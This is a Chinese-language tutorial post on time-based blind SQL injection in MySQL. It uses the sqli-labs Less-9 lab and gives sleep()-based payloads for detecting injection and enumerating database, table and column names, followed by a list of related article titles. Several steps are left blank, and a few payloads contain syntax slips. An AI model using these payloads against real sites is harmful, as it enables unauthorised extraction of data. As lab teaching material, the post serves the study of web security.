时间盲注

简介: 延迟注入,是一种盲注的手法, 提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注.SQLMAP。

时间盲注

时间盲注简介

延迟注入,是一种盲注的手法, 提交对执行时间铭感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的高级盲注。

时间盲注所用的函数

sleep()                              //延迟函数

if(condition,true,false)             //条件语句      

ascii()                              //转换成ascii码

substring("string",strart,length)    //mid()也一样,取出字符串里的第几位开始,长度多少的字符

if(expr1,expr2,expr3)                //如果 expr1 是TRUE,则 If()的返回值为expr2; 否则返回值则为 expr3

Length                               //返回长度函数

靶场利用

可以利用sqli-labs-master/less-9 进行时间盲注

时间盲注工具利用

打开浏览器的开发者工具(快捷键F12),点击其中的网络,可以查看站点的反应时间。

时间盲注思路总结

注意括号闭合

判断站点是否存在回显|注入|错误提示  --> 利用字符型|整数型判断

判断站点是否存在时间盲注 --> 字符型:' and sleep(5)  %23

                                --> 数字型:and sleep(5)  %23


判断站点的数据库长度 --> and if((length(database())>7),sleep(5),1)) %23


判断站点的数据库名 --> and if((ascii(substr(database(),1,1))=100),sleep(5),1) %23


判断表的个数 --> and if((select count(*) from information_schema.tables where table_schema='库名')=5,sleep(5),1) %23


依次判断表名长度 --> and if((length((select table_name from information_schema.tables where table_schema='库名' limit 0,1))>5),sleep(5),1) %23


依次判断表名 --> and if(ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)),sleep(5),1) %23


依次判断表中的字段数量 -->


依次判断表中的字段名长度 --> and if(length((select column_name from information_schema.columns where table_name='表名' and table_schema='库名' limit 0,1))>5,sleep(5),1)  %23

依次判断表中的字段名 -->


依次判断表中数据的长度 -->

依次判断表中数据 -->

别问问就是懒得写了

目录
相关文章
|
1月前
|
数据库
15、延时布尔盲注(Post)
15、延时布尔盲注(Post)
26 0
|
1月前
|
弹性计算 运维 Shell
解析日期和时间
【4月更文挑战第29天】
23 1
|
1月前
|
数据库
基于时间盲注
基于时间盲注
19 2
|
1月前
|
SQL 数据库
小课堂 -- 时间​​盲注和Bool盲注
小课堂 -- 时间​​盲注和Bool盲注
11 0
|
1月前
|
SQL 前端开发 Java
SQL注入天书笔记(1)布尔盲注
SQL注入天书笔记(1)布尔盲注
51 0
|
7月前
|
小程序 JavaScript API
小程序获取当前日期和时间点的方法
小程序获取当前日期和时间点的方法
148 0
|
10月前
|
XML SQL 安全
[NPUCTF2020]ezlogin (xpath盲注)
[NPUCTF2020]ezlogin (xpath盲注)
98 0
|
NoSQL 关系型数据库 MySQL
MySQL时间盲注五种延时方法
MySQL时间盲注五种延时方法
378 0
查出与当前系统时间间隔30分钟前后的数据
查出与当前系统时间间隔30分钟前后的数据
75 0
查出与当前系统时间间隔30分钟前后的数据
|
SQL 关系型数据库 MySQL
盲注
在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。